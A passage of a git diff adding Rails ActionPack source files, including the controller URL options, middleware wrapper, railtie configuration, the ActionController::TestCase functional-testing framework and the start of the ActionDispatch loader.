+
+ module ClassMethods
+ def before_filters
+ _process_action_callbacks.find_all{|x| x.kind == :before}.map{|x| x.name}
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb
new file mode 100644
index 0000000..505f3b4
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/url_for.rb
@@ -0,0 +1,49 @@
+module ActionController
+ # Includes +url_for+ into the host class. The class has to provide a +RouteSet+ by implementing
+ # the <tt>_routes</tt> method. Otherwise, an exception will be raised.
+ #
+ # In addition to <tt>AbstractController::UrlFor</tt>, this module accesses the HTTP layer to define
+ # url options like the +host+. In order to do so, this module requires the host class
+ # to implement +env+ and +request+, which need to be a Rack-compatible.
+ #
+ # class RootUrl
+ # include ActionController::UrlFor
+ # include Rails.application.routes.url_helpers
+ #
+ # delegate :env, :request, to: :controller
+ #
+ # def initialize(controller)
+ # @controller = controller
+ # @url = root_path # named route from the application.
+ # end
+ # end
+ module UrlFor
+ extend ActiveSupport::Concern
+
+ include AbstractController::UrlFor
+
+ def url_options
+ @_url_options ||= super.reverse_merge(
+ :host => request.host,
+ :port => request.optional_port,
+ :protocol => request.protocol,
+ :_recall => request.symbolized_path_parameters
+ ).freeze
+
+ if (same_origin = _routes.equal?(env["action_dispatch.routes"])) ||
+ (script_name = env["ROUTES_#{_routes.object_id}_SCRIPT_NAME"]) ||
+ (original_script_name = env['SCRIPT_NAME'])
+ @_url_options.dup.tap do |options|
+ if original_script_name
+ options[:original_script_name] = original_script_name
+ else
+ options[:script_name] = same_origin ? request.script_name.dup : script_name
+ end
+ options.freeze
+ end
+ else
+ @_url_options
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/middleware.rb b/actionpack/lib/action_controller/middleware.rb
new file mode 100644
index 0000000..437fec3
--- /dev/null
+++ b/actionpack/lib/action_controller/middleware.rb
@@ -0,0 +1,39 @@
+module ActionController
+ class Middleware < Metal
+ class ActionMiddleware
+ def initialize(controller, app)
+ @controller, @app = controller, app
+ end
+
+ def call(env)
+ request = ActionDispatch::Request.new(env)
+ @controller.build(@app).dispatch(:index, request)
+ end
+ end
+
+ class << self
+ alias build new
+
+ def new(app)
+ ActionMiddleware.new(self, app)
+ end
+ end
+
+ attr_internal :app
+
+ def process(action)
+ response = super
+ self.status, self.headers, self.response_body = response if response.is_a?(Array)
+ response
+ end
+
+ def initialize(app)
+ super()
+ @_app = app
+ end
+
+ def index
+ call(env)
+ end
+ end
+end
\ No newline at end of file
diff --git a/actionpack/lib/action_controller/model_naming.rb b/actionpack/lib/action_controller/model_naming.rb
new file mode 100644
index 0000000..785221d
--- /dev/null
+++ b/actionpack/lib/action_controller/model_naming.rb
@@ -0,0 +1,12 @@
+module ActionController
+ module ModelNaming
+ # Converts the given object to an ActiveModel compliant one.
+ def convert_to_model(object)
+ object.respond_to?(:to_model) ? object.to_model : object
+ end
+
+ def model_name_from_record_or_class(record_or_class)
+ (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
new file mode 100644
index 0000000..5379547
--- /dev/null
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -0,0 +1,67 @@
+require "rails"
+require "action_controller"
+require "action_dispatch/railtie"
+require "action_view/railtie"
+require "abstract_controller/railties/routes_helpers"
+require "action_controller/railties/helpers"
+
+module ActionController
+ class Railtie < Rails::Railtie #:nodoc:
+ config.action_controller = ActiveSupport::OrderedOptions.new
+
+ config.eager_load_namespaces << ActionController
+
+ initializer "action_controller.assets_config", :group => :all do |app|
+ app.config.action_controller.assets_dir ||= app.config.paths["public"].first
+ end
+
+ initializer "action_controller.set_helpers_path" do |app|
+ ActionController::Helpers.helpers_path = app.helpers_paths
+ end
+
+ initializer "action_controller.parameters_config" do |app|
+ options = app.config.action_controller
+
+ ActionController::Parameters.permit_all_parameters = options.delete(:permit_all_parameters) { false }
+ ActionController::Parameters.action_on_unpermitted_parameters = options.delete(:action_on_unpermitted_parameters) do
+ (Rails.env.test? || Rails.env.development?) ? :log : false
+ end
+ end
+
+ initializer "action_controller.set_configs" do |app|
+ paths = app.config.paths
+ options = app.config.action_controller
+
+ options.logger ||= Rails.logger
+ options.cache_store ||= Rails.cache
+
+ options.javascripts_dir ||= paths["public/javascripts"].first
+ options.stylesheets_dir ||= paths["public/stylesheets"].first
+
+ # Ensure readers methods get compiled
+ options.asset_host ||= app.config.asset_host
+ options.relative_url_root ||= app.config.relative_url_root
+
+ ActiveSupport.on_load(:action_controller) do
+ include app.routes.mounted_helpers
+ extend ::AbstractController::Railties::RoutesHelpers.with(app.routes)
+ extend ::ActionController::Railties::Helpers
+
+ options.each do |k,v|
+ k = "#{k}="
+ if respond_to?(k)
+ send(k, v)
+ elsif !Base.respond_to?(k)
+ raise "Invalid option key: #{k}"
+ end
+ end
+ end
+ end
+
+ initializer "action_controller.compile_config_methods" do
+ ActiveSupport.on_load(:action_controller) do
+ config.compile_methods! if config.respond_to?(:compile_methods!)
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/railties/helpers.rb b/actionpack/lib/action_controller/railties/helpers.rb
new file mode 100644
index 0000000..3985c6b
--- /dev/null
+++ b/actionpack/lib/action_controller/railties/helpers.rb
@@ -0,0 +1,22 @@
+module ActionController
+ module Railties
+ module Helpers
+ def inherited(klass)
+ super
+ return unless klass.respond_to?(:helpers_path=)
+
+ if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_helpers_paths) }
+ paths = namespace.railtie_helpers_paths
+ else
+ paths = ActionController::Helpers.helpers_path
+ end
+
+ klass.helpers_path = paths
+
+ if klass.superclass == ActionController::Base && ActionController::Base.include_all_helpers
+ klass.helper :all
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/record_identifier.rb b/actionpack/lib/action_controller/record_identifier.rb
new file mode 100644
index 0000000..d598bac
--- /dev/null
+++ b/actionpack/lib/action_controller/record_identifier.rb
@@ -0,0 +1,31 @@
+require 'action_view/record_identifier'
+
+module ActionController
+ module RecordIdentifier
+ MODULE_MESSAGE = 'Calling ActionController::RecordIdentifier.%s is deprecated and ' \
+ 'will be removed in Rails 4.1, please call using ActionView::RecordIdentifier instead.'
+ INSTANCE_MESSAGE = '%s method will no longer be included by default in controllers ' \
+ 'since Rails 4.1. If you would like to use it in controllers, please include ' \
+ 'ActionView::RecordIdentifier module.'
+
+ def dom_id(record, prefix = nil)
+ ActiveSupport::Deprecation.warn(INSTANCE_MESSAGE % 'dom_id')
+ ActionView::RecordIdentifier.dom_id(record, prefix)
+ end
+
+ def dom_class(record, prefix = nil)
+ ActiveSupport::Deprecation.warn(INSTANCE_MESSAGE % 'dom_class')
+ ActionView::RecordIdentifier.dom_class(record, prefix)
+ end
+
+ def self.dom_id(record, prefix = nil)
+ ActiveSupport::Deprecation.warn(MODULE_MESSAGE % 'dom_id')
+ ActionView::RecordIdentifier.dom_id(record, prefix)
+ end
+
+ def self.dom_class(record, prefix = nil)
+ ActiveSupport::Deprecation.warn(MODULE_MESSAGE % 'dom_class')
+ ActionView::RecordIdentifier.dom_class(record, prefix)
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
new file mode 100644
index 0000000..41a286f
--- /dev/null
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -0,0 +1,701 @@
+require 'rack/session/abstract/id'
+require 'active_support/core_ext/object/to_query'
+require 'active_support/core_ext/module/anonymous'
+require 'active_support/core_ext/hash/keys'
+
+module ActionController
+ module TemplateAssertions
+ extend ActiveSupport::Concern
+
+ included do
+ setup :setup_subscriptions
+ teardown :teardown_subscriptions
+ end
+
+ def setup_subscriptions
+ @_partials = Hash.new(0)
+ @_templates = Hash.new(0)
+ @_layouts = Hash.new(0)
+ @_files = Hash.new(0)
+
+ ActiveSupport::Notifications.subscribe("render_template.action_view") do |_name, _start, _finish, _id, payload|
+ path = payload[:layout]
+ if path
+ @_layouts[path] += 1
+ if path =~ /^layouts\/(.*)/
+ @_layouts[$1] += 1
+ end
+ end
+ end
+
+ ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
+ path = payload[:virtual_path]
+ next unless path
+ partial = path =~ /^.*\/_[^\/]*$/
+
+ if partial
+ @_partials[path] += 1
+ @_partials[path.split("/").last] += 1
+ end
+
+ @_templates[path] += 1
+ end
+
+ ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
+ next if payload[:virtual_path] # files don't have virtual path
+
+ path = payload[:identifier]
+ if path
+ @_files[path] += 1
+ @_files[path.split("/").last] += 1
+ end
+ end
+ end
+
+ def teardown_subscriptions
+ ActiveSupport::Notifications.unsubscribe("render_template.action_view")
+ ActiveSupport::Notifications.unsubscribe("!render_template.action_view")
+ end
+
+ def process(*args)
+ @_partials = Hash.new(0)
+ @_templates = Hash.new(0)
+ @_layouts = Hash.new(0)
+ super
+ end
+
+ # Asserts that the request was rendered with the appropriate template file or partials.
+ #
+ # # assert that the "new" view template was rendered
+ # assert_template "new"
+ #
+ # # assert that the exact template "admin/posts/new" was rendered
+ # assert_template %r{\Aadmin/posts/new\Z}
+ #
+ # # assert that the layout 'admin' was rendered
+ # assert_template layout: 'admin'
+ # assert_template layout: 'layouts/admin'
+ # assert_template layout: :admin
+ #
+ # # assert that no layout was rendered
+ # assert_template layout: nil
+ # assert_template layout: false
+ #
+ # # assert that the "_customer" partial was rendered twice
+ # assert_template partial: '_customer', count: 2
+ #
+ # # assert that no partials were rendered
+ # assert_template partial: false
+ #
+ # In a view test case, you can also assert that specific locals are passed
+ # to partials:
+ #
+ # # assert that the "_customer" partial was rendered with a specific object
+ # assert_template partial: '_customer', locals: { customer: @customer }
+ def assert_template(options = {}, message = nil)
+ # Force body to be read in case the template is being streamed.
+ response.body
+
+ case options
+ when NilClass, Regexp, String, Symbol
+ options = options.to_s if Symbol === options
+ rendered = @_templates
+ msg = message || sprintf("expecting <%s> but rendering with <%s>",
+ options.inspect, rendered.keys)
+ matches_template =
+ case options
+ when String
+ !options.empty? && rendered.any? do |t, num|
+ options_splited = options.split(File::SEPARATOR)
+ t_splited = t.split(File::SEPARATOR)
+ t_splited.last(options_splited.size) == options_splited
+ end
+ when Regexp
+ rendered.any? { |t,num| t.match(options) }
+ when NilClass
+ rendered.blank?
+ end
+ assert matches_template, msg
+ when Hash
+ options.assert_valid_keys(:layout, :partial, :locals, :count, :file)
+
+ if options.key?(:layout)
+ expected_layout = options[:layout]
+ msg = message || sprintf("expecting layout <%s> but action rendered <%s>",
+ expected_layout, @_layouts.keys)
+
+ case expected_layout
+ when String, Symbol
+ assert_includes @_layouts.keys, expected_layout.to_s, msg
+ when Regexp
+ assert(@_layouts.keys.any? {|l| l =~ expected_layout }, msg)
+ when nil, false
+ assert(@_layouts.empty?, msg)
+ end
+ end
+
+ if options[:file]
+ assert_includes @_files.keys, options[:file]
+ end
+
+ if expected_partial = options[:partial]
+ if expected_locals = options[:locals]
+ if defined?(@_rendered_views)
+ view = expected_partial.to_s.sub(/^_/, '').sub(/\/_(?=[^\/]+\z)/, '/')
+
+ partial_was_not_rendered_msg = "expected %s to be rendered but it was not." % view
+ assert_includes @_rendered_views.rendered_views, view, partial_was_not_rendered_msg
+
+ msg = 'expecting %s to be rendered with %s but was with %s' % [expected_partial,
+ expected_locals,
+ @_rendered_views.locals_for(view)]
+ assert(@_rendered_views.view_rendered?(view, options[:locals]), msg)
+ else
+ warn "the :locals option to #assert_template is only supported in a ActionView::TestCase"
+ end
+ elsif expected_count = options[:count]
+ actual_count = @_partials[expected_partial]
+ msg = message || sprintf("expecting %s to be rendered %s time(s) but rendered %s time(s)",
+ expected_partial, expected_count, actual_count)
+ assert(actual_count == expected_count.to_i, msg)
+ else
+ msg = message || sprintf("expecting partial <%s> but action rendered <%s>",
+ options[:partial], @_partials.keys)
+ assert_includes @_partials, expected_partial, msg
+ end
+ elsif options.key?(:partial)
+ assert @_partials.empty?,
+ "Expected no partials to be rendered"
+ end
+ else
+ raise ArgumentError, "assert_template only accepts a String, Symbol, Hash, Regexp, or nil"
+ end
+ end
+ end
+
+ class TestRequest < ActionDispatch::TestRequest #:nodoc:
+ DEFAULT_ENV = ActionDispatch::TestRequest::DEFAULT_ENV.dup
+ DEFAULT_ENV.delete 'PATH_INFO'
+
+ def initialize(env = {})
+ super
+
+ self.session = TestSession.new
+ self.session_options = TestSession::DEFAULT_OPTIONS.merge(:id => SecureRandom.hex(16))
+ end
+
+ def assign_parameters(routes, controller_path, action, parameters = {})
+ parameters = parameters.symbolize_keys.merge(:controller => controller_path, :action => action)
+ extra_keys = routes.extra_keys(parameters)
+ non_path_parameters = get? ? query_parameters : request_parameters
+ parameters.each do |key, value|
+ if value.is_a?(Array) && (value.frozen? || value.any?(&:frozen?))
+ value = value.map{ |v| v.duplicable? ? v.dup : v }
+ elsif value.is_a?(Hash) && (value.frozen? || value.any?{ |k,v| v.frozen? })
+ value = Hash[value.map{ |k,v| [k, v.duplicable? ? v.dup : v] }]
+ elsif value.frozen? && value.duplicable?
+ value = value.dup
+ end
+
+ if extra_keys.include?(key.to_sym)
+ non_path_parameters[key] = value
+ else
+ if value.is_a?(Array)
+ value = value.map(&:to_param)
+ else
+ value = value.to_param
+ end
+
+ path_parameters[key.to_s] = value
+ end
+ end
+
+ # Clear the combined params hash in case it was already referenced.
+ @env.delete("action_dispatch.request.parameters")
+
+ params = self.request_parameters.dup
+ %w(controller action only_path).each do |k|
+ params.delete(k)
+ params.delete(k.to_sym)
+ end
+ data = params.to_query
+
+ @env['CONTENT_LENGTH'] = data.length.to_s
+ @env['rack.input'] = StringIO.new(data)
+ end
+
+ def recycle!
+ @formats = nil
+ @env.delete_if { |k, v| k =~ /^(action_dispatch|rack)\.request/ }
+ @env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ }
+ @symbolized_path_params = nil
+ @method = @request_method = nil
+ @fullpath = @ip = @remote_ip = @protocol = nil
+ @env['action_dispatch.request.query_parameters'] = {}
+ @set_cookies ||= {}
+ @set_cookies.update(Hash[cookie_jar.instance_variable_get("@set_cookies").map{ |k,o| [k,o[:value]] }])
+ deleted_cookies = cookie_jar.instance_variable_get("@delete_cookies")
+ @set_cookies.reject!{ |k,v| deleted_cookies.include?(k) }
+ cookie_jar.update(rack_cookies)
+ cookie_jar.update(cookies)
+ cookie_jar.update(@set_cookies)
+ cookie_jar.recycle!
+ end
+
+ private
+
+ def default_env
+ DEFAULT_ENV
+ end
+ end
+
+ class TestResponse < ActionDispatch::TestResponse
+ def recycle!
+ initialize
+ end
+ end
+
+ # Methods #destroy and #load! are overridden to avoid calling methods on the
+ # @store object, which does not exist for the TestSession class.
+ class TestSession < Rack::Session::Abstract::SessionHash #:nodoc:
+ DEFAULT_OPTIONS = Rack::Session::Abstract::ID::DEFAULT_OPTIONS
+
+ def initialize(session = {})
+ super(nil, nil)
+ @id = SecureRandom.hex(16)
+ @data = stringify_keys(session)
+ @loaded = true
+ end
+
+ def exists?
+ true
+ end
+
+ def keys
+ @data.keys
+ end
+
+ def values
+ @data.values
+ end
+
+ def destroy
+ clear
+ end
+
+ private
+
+ def load!
+ @id
+ end
+ end
+
+ # Superclass for ActionController functional tests. Functional tests allow you to
+ # test a single controller action per test method. This should not be confused with
+ # integration tests (see ActionDispatch::IntegrationTest), which are more like
+ # "stories" that can involve multiple controllers and multiple actions (i.e. multiple
+ # different HTTP requests).
+ #
+ # == Basic example
+ #
+ # Functional tests are written as follows:
+ # 1. First, one uses the +get+, +post+, +patch+, +put+, +delete+ or +head+ method to simulate
+ # an HTTP request.
+ # 2. Then, one asserts whether the current state is as expected. "State" can be anything:
+ # the controller's HTTP response, the database contents, etc.
+ #
+ # For example:
+ #
+ # class BooksControllerTest < ActionController::TestCase
+ # def test_create
+ # # Simulate a POST response with the given HTTP parameters.
+ # post(:create, book: { title: "Love Hina" })
+ #
+ # # Assert that the controller tried to redirect us to
+ # # the created book's URI.
+ # assert_response :found
+ #
+ # # Assert that the controller really put the book in the database.
+ # assert_not_nil Book.find_by(title: "Love Hina")
+ # end
+ # end
+ #
+ # You can also send a real document in the simulated HTTP request.
+ #
+ # def test_create
+ # json = {book: { title: "Love Hina" }}.to_json
+ # post :create, json
+ # end
+ #
+ # == Special instance variables
+ #
+ # ActionController::TestCase will also automatically provide the following instance
+ # variables for use in the tests:
+ #
+ # <b>@controller</b>::
+ # The controller instance that will be tested.
+ # <b>@request</b>::
+ # An ActionController::TestRequest, representing the current HTTP
+ # request. You can modify this object before sending the HTTP request. For example,
+ # you might want to set some session properties before sending a GET request.
+ # <b>@response</b>::
+ # An ActionController::TestResponse object, representing the response
+ # of the last HTTP response. In the above example, <tt>@response</tt> becomes valid
+ # after calling +post+. If the various assert methods are not sufficient, then you
+ # may use this object to inspect the HTTP response in detail.
+ #
+ # (Earlier versions of \Rails required each functional test to subclass
+ # Test::Unit::TestCase and define @controller, @request, @response in +setup+.)
+ #
+ # == Controller is automatically inferred
+ #
+ # ActionController::TestCase will automatically infer the controller under test
+ # from the test class name. If the controller cannot be inferred from the test
+ # class name, you can explicitly set it with +tests+.
+ #
+ # class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
+ # tests WidgetController
+ # end
+ #
+ # == \Testing controller internals
+ #
+ # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions
+ # can be used against. These collections are:
+ #
+ # * assigns: Instance variables assigned in the action that are available for the view.
+ # * session: Objects being saved in the session.
+ # * flash: The flash objects currently in the session.
+ # * cookies: \Cookies being sent to the user on this request.
+ #
+ # These collections can be used just like any other hash:
+ #
+ # assert_not_nil assigns(:person) # makes sure that a @person instance variable was set
+ # assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
+ # assert flash.empty? # makes sure that there's nothing in the flash
+ #
+ # For historic reasons, the assigns hash uses string-based keys. So <tt>assigns[:person]</tt> won't work, but <tt>assigns["person"]</tt> will. To
+ # appease our yearning for symbols, though, an alternative accessor has been devised using a method call instead of index referencing.
+ # So <tt>assigns(:person)</tt> will work just like <tt>assigns["person"]</tt>, but again, <tt>assigns[:person]</tt> will not work.
+ #
+ # On top of the collections, you have the complete url that a given action redirected to available in <tt>redirect_to_url</tt>.
+ #
+ # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
+ # action call which can then be asserted against.
+ #
+ # == Manipulating session and cookie variables
+ #
+ # Sometimes you need to set up the session and cookie variables for a test.
+ # To do this just assign a value to the session or cookie collection:
+ #
+ # session[:key] = "value"
+ # cookies[:key] = "value"
+ #
+ # To clear the cookies for a test just clear the cookie collection:
+ #
+ # cookies.clear
+ #
+ # == \Testing named routes
+ #
+ # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
+ #
+ # assert_redirected_to page_url(title: 'foo')
+ class TestCase < ActiveSupport::TestCase
+ module Behavior
+ extend ActiveSupport::Concern
+ include ActionDispatch::TestProcess
+ include ActiveSupport::Testing::ConstantLookup
+
+ attr_reader :response, :request
+
+ module ClassMethods
+
+ # Sets the controller class name. Useful if the name can't be inferred from test class.
+ # Normalizes +controller_class+ before using.
+ #
+ # tests WidgetController
+ # tests :widget
+ # tests 'widget'
+ def tests(controller_class)
+ case controller_class
+ when String, Symbol
+ self.controller_class = "#{controller_class.to_s.camelize}Controller".constantize
+ when Class
+ self.controller_class = controller_class
+ else
+ raise ArgumentError, "controller class must be a String, Symbol, or Class"
+ end
+ end
+
+ def controller_class=(new_class)
+ prepare_controller_class(new_class) if new_class
+ self._controller_class = new_class
+ end
+
+ def controller_class
+ if current_controller_class = self._controller_class
+ current_controller_class
+ else
+ self.controller_class = determine_default_controller_class(name)
+ end
+ end
+
+ def determine_default_controller_class(name)
+ determine_constant_from_test_name(name) do |constant|
+ Class === constant && constant < ActionController::Metal
+ end
+ end
+
+ def prepare_controller_class(new_class)
+ new_class.send :include, ActionController::TestCase::RaiseActionExceptions
+ end
+
+ end
+
+ # Simulate a GET request with the given parameters.
+ #
+ # - +action+: The controller action to call.
+ # - +parameters+: The HTTP parameters that you want to pass. This may
+ # be +nil+, a hash, or a string that is appropriately encoded
+ # (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
+ # - +session+: A hash of parameters to store in the session. This may be +nil+.
+ # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
+ #
+ # You can also simulate POST, PATCH, PUT, DELETE, HEAD, and OPTIONS requests with
+ # +post+, +patch+, +put+, +delete+, +head+, and +options+.
+ #
+ # Note that the request method is not verified. The different methods are
+ # available to make the tests more expressive.
+ def get(action, *args)
+ process(action, "GET", *args)
+ end
+
+ # Simulate a POST request with the given parameters and set/volley the response.
+ # See +get+ for more details.
+ def post(action, *args)
+ process(action, "POST", *args)
+ end
+
+ # Simulate a PATCH request with the given parameters and set/volley the response.
+ # See +get+ for more details.
+ def patch(action, *args)
+ process(action, "PATCH", *args)
+ end
+
+ # Simulate a PUT request with the given parameters and set/volley the response.
+ # See +get+ for more details.
+ def put(action, *args)
+ process(action, "PUT", *args)
+ end
+
+ # Simulate a DELETE request with the given parameters and set/volley the response.
+ # See +get+ for more details.
+ def delete(action, *args)
+ process(action, "DELETE", *args)
+ end
+
+ # Simulate a HEAD request with the given parameters and set/volley the response.
+ # See +get+ for more details.
+ def head(action, *args)
+ process(action, "HEAD", *args)
+ end
+
+ # Simulate a OPTIONS request with the given parameters and set/volley the response.
+ # See +get+ for more details.
+ def options(action, *args)
+ process(action, "OPTIONS", *args)
+ end
+
+ def xml_http_request(request_method, action, parameters = nil, session = nil, flash = nil)
+ @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest'
+ @request.env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ')
+ __send__(request_method, action, parameters, session, flash).tap do
+ @request.env.delete 'HTTP_X_REQUESTED_WITH'
+ @request.env.delete 'HTTP_ACCEPT'
+ end
+ end
+ alias xhr :xml_http_request
+
+ def paramify_values(hash_or_array_or_value)
+ case hash_or_array_or_value
+ when Hash
+ Hash[hash_or_array_or_value.map{|key, value| [key, paramify_values(value)] }]
+ when Array
+ hash_or_array_or_value.map {|i| paramify_values(i)}
+ when Rack::Test::UploadedFile, ActionDispatch::Http::UploadedFile
+ hash_or_array_or_value
+ else
+ hash_or_array_or_value.to_param
+ end
+ end
+
+ def process(action, http_method = 'GET', *args)
+ check_required_ivars
+ http_method, args = handle_old_process_api(http_method, args, caller)
+
+ if args.first.is_a?(String) && http_method != 'HEAD'
+ @request.env['RAW_POST_DATA'] = args.shift
+ end
+
+ parameters, session, flash = args
+
+ # Ensure that numbers and symbols passed as params are converted to
+ # proper params, as is the case when engaging rack.
+ parameters = paramify_values(parameters) if html_format?(parameters)
+
+ @html_document = nil
+
+ unless @controller.respond_to?(:recycle!)
+ @controller.extend(Testing::Functional)
+ @controller.class.class_eval { include Testing }
+ end
+
+ @request.recycle!
+ @response.recycle!
+ @controller.recycle!
+
+ @request.env['REQUEST_METHOD'] = http_method
+
+ parameters ||= {}
+ controller_class_name = @controller.class.anonymous? ?
+ "anonymous" :
+ @controller.class.name.underscore.sub(/_controller$/, '')
+
+ @request.assign_parameters(@routes, controller_class_name, action.to_s, parameters)
+
+ @request.session.update(session) if session
+ @request.flash.update(flash || {})
+
+ @controller.request = @request
+ @controller.response = @response
+
+ build_request_uri(action, parameters)
+
+ name = @request.parameters[:action]
+
+ @controller.process(name)
+
+ if cookies = @request.env['action_dispatch.cookies']
+ cookies.write(@response)
+ end
+ @response.prepare!
+
+ @assigns = @controller.respond_to?(:view_assigns) ? @controller.view_assigns : {}
+ @request.session['flash'] = @request.flash.to_session_value
+ @request.session.delete('flash') if @request.session['flash'].blank?
+ @response
+ end
+
+ def setup_controller_request_and_response
+ @request = build_request
+ @response = build_response
+ @response.request = @request
+
+ @controller = nil unless defined? @controller
+
+ if klass = self.class.controller_class
+ unless @controller
+ begin
+ @controller = klass.new
+ rescue
+ warn "could not construct controller #{klass}" if $VERBOSE
+ end
+ end
+ end
+
+ if @controller
+ @controller.request = @request
+ @controller.params = {}
+ end
+ end
+
+ def build_request
+ TestRequest.new
+ end
+
+ def build_response
+ TestResponse.new
+ end
+
+ included do
+ include ActionController::TemplateAssertions
+ include ActionDispatch::Assertions
+ class_attribute :_controller_class
+ setup :setup_controller_request_and_response
+ end
+
+ private
+ def check_required_ivars
+ # Sanity check for required instance variables so we can give an
+ # understandable error message.
+ [:@routes, :@controller, :@request, :@response].each do |iv_name|
+ if !instance_variable_defined?(iv_name) || instance_variable_get(iv_name).nil?
+ raise "#{iv_name} is nil: make sure you set it in your test's setup method."
+ end
+ end
+ end
+
+ def handle_old_process_api(http_method, args, callstack)
+ # 4.0: Remove this method.
+ if http_method.is_a?(Hash)
+ ActiveSupport::Deprecation.warn("TestCase#process now expects the HTTP method as second argument: process(action, http_method, params, session, flash)", callstack)
+ args.unshift(http_method)
+ http_method = args.last.is_a?(String) ? args.last : "GET"
+ end
+
+ [http_method, args]
+ end
+
+ def build_request_uri(action, parameters)
+ unless @request.env["PATH_INFO"]
+ options = @controller.respond_to?(:url_options) ? @controller.__send__(:url_options).merge(parameters) : parameters
+ options.update(
+ :only_path => true,
+ :action => action,
+ :relative_url_root => nil,
+ :_recall => @request.symbolized_path_parameters)
+
+ url, query_string = @routes.url_for(options).split("?", 2)
+
+ @request.env["SCRIPT_NAME"] = @controller.config.relative_url_root
+ @request.env["PATH_INFO"] = url
+ @request.env["QUERY_STRING"] = query_string || ""
+ end
+ end
+
+ def html_format?(parameters)
+ return true unless parameters.is_a?(Hash)
+ Mime.fetch(parameters[:format]) { Mime['html'] }.html?
+ end
+ end
+
+ # When the request.remote_addr remains the default for testing, which is 0.0.0.0, the exception is simply raised inline
+ # (skipping the regular exception handling from rescue_action). If the request.remote_addr is anything else, the regular
+ # rescue_action process takes place. This means you can test your rescue_action code by setting remote_addr to something else
+ # than 0.0.0.0.
+ #
+ # The exception is stored in the exception accessor for further inspection.
+ module RaiseActionExceptions
+ def self.included(base) #:nodoc:
+ unless base.method_defined?(:exception) && base.method_defined?(:exception=)
+ base.class_eval do
+ attr_accessor :exception
+ protected :exception, :exception=
+ end
+ end
+ end
+
+ protected
+ def rescue_action_without_handler(e)
+ self.exception = e
+
+ if request.remote_addr == "0.0.0.0"
+ raise(e)
+ else
+ super(e)
+ end
+ end
+ end
+
+ include Behavior
+ end
+end
diff --git a/actionpack/lib/action_controller/vendor/html-scanner.rb b/actionpack/lib/action_controller/vendor/html-scanner.rb
new file mode 100644
index 0000000..896208b
--- /dev/null
+++ b/actionpack/lib/action_controller/vendor/html-scanner.rb
@@ -0,0 +1,5 @@
+require 'action_view/vendor/html-scanner'
+require 'active_support/deprecation'
+
+ActiveSupport::Deprecation.warn 'Vendored html-scanner was moved to action_view, please require "action_view/vendor/html-scanner" instead. ' +
+ 'This file will be removed in Rails 4.1'
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
new file mode 100644
index 0000000..24a3d47
--- /dev/null
+++ b/actionpack/lib/action_dispatch.rb
@@ -0,0 +1,108 @@
+#--
+# Copyright (c) 2004-2013 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'active_support'
+require 'active_support/rails'
+require 'active_support/core_ext/module/attribute_accessors'
+
+require 'action_pack'
+require 'rack'
+
+module Rack
+ autoload :Test, 'rack/test'
+end
+
+module ActionDispatch
+ extend ActiveSupport::Autoload
+
+ class IllegalStateError < StandardError
+ end
+
+ eager_autoload do
+ autoload_under 'http' do
+ autoload :Request
+ autoload :Response
+ end
+ end
+
+ autoload_under 'middleware' do
+ autoload :RequestId
+ autoload :Callbacks
+ autoload :Cookies
+ autoload :DebugExceptions
+ autoload :ExceptionWrapper
+ autoload :Flash
+ autoload :Head
+ autoload :ParamsParser
+ autoload :PublicExceptions
+ autoload :Reloader
+ autoload :RemoteIp
+ autoload :ShowExceptions
+ autoload :SSL
+ autoload :Static
+ end
+
+ autoload :Journey
+ autoload :MiddlewareStack, 'action_dispatch/middleware/stack'
+ autoload :Routing
+
+ module Http
+ extend ActiveSupport::Autoload
+
+ autoload :Cache
+ autoload :Headers
+ autoload :MimeNegotiation
+ autoload :Parameters
+ autoload :ParameterFilter
+ autoload :FilterParameters
+ autoload :FilterRedirect
+ autoload :Upload
+ autoload :UploadedFile, 'action_dispatch/http/upload'
+ autoload :URL
+ end
+
+ module Session
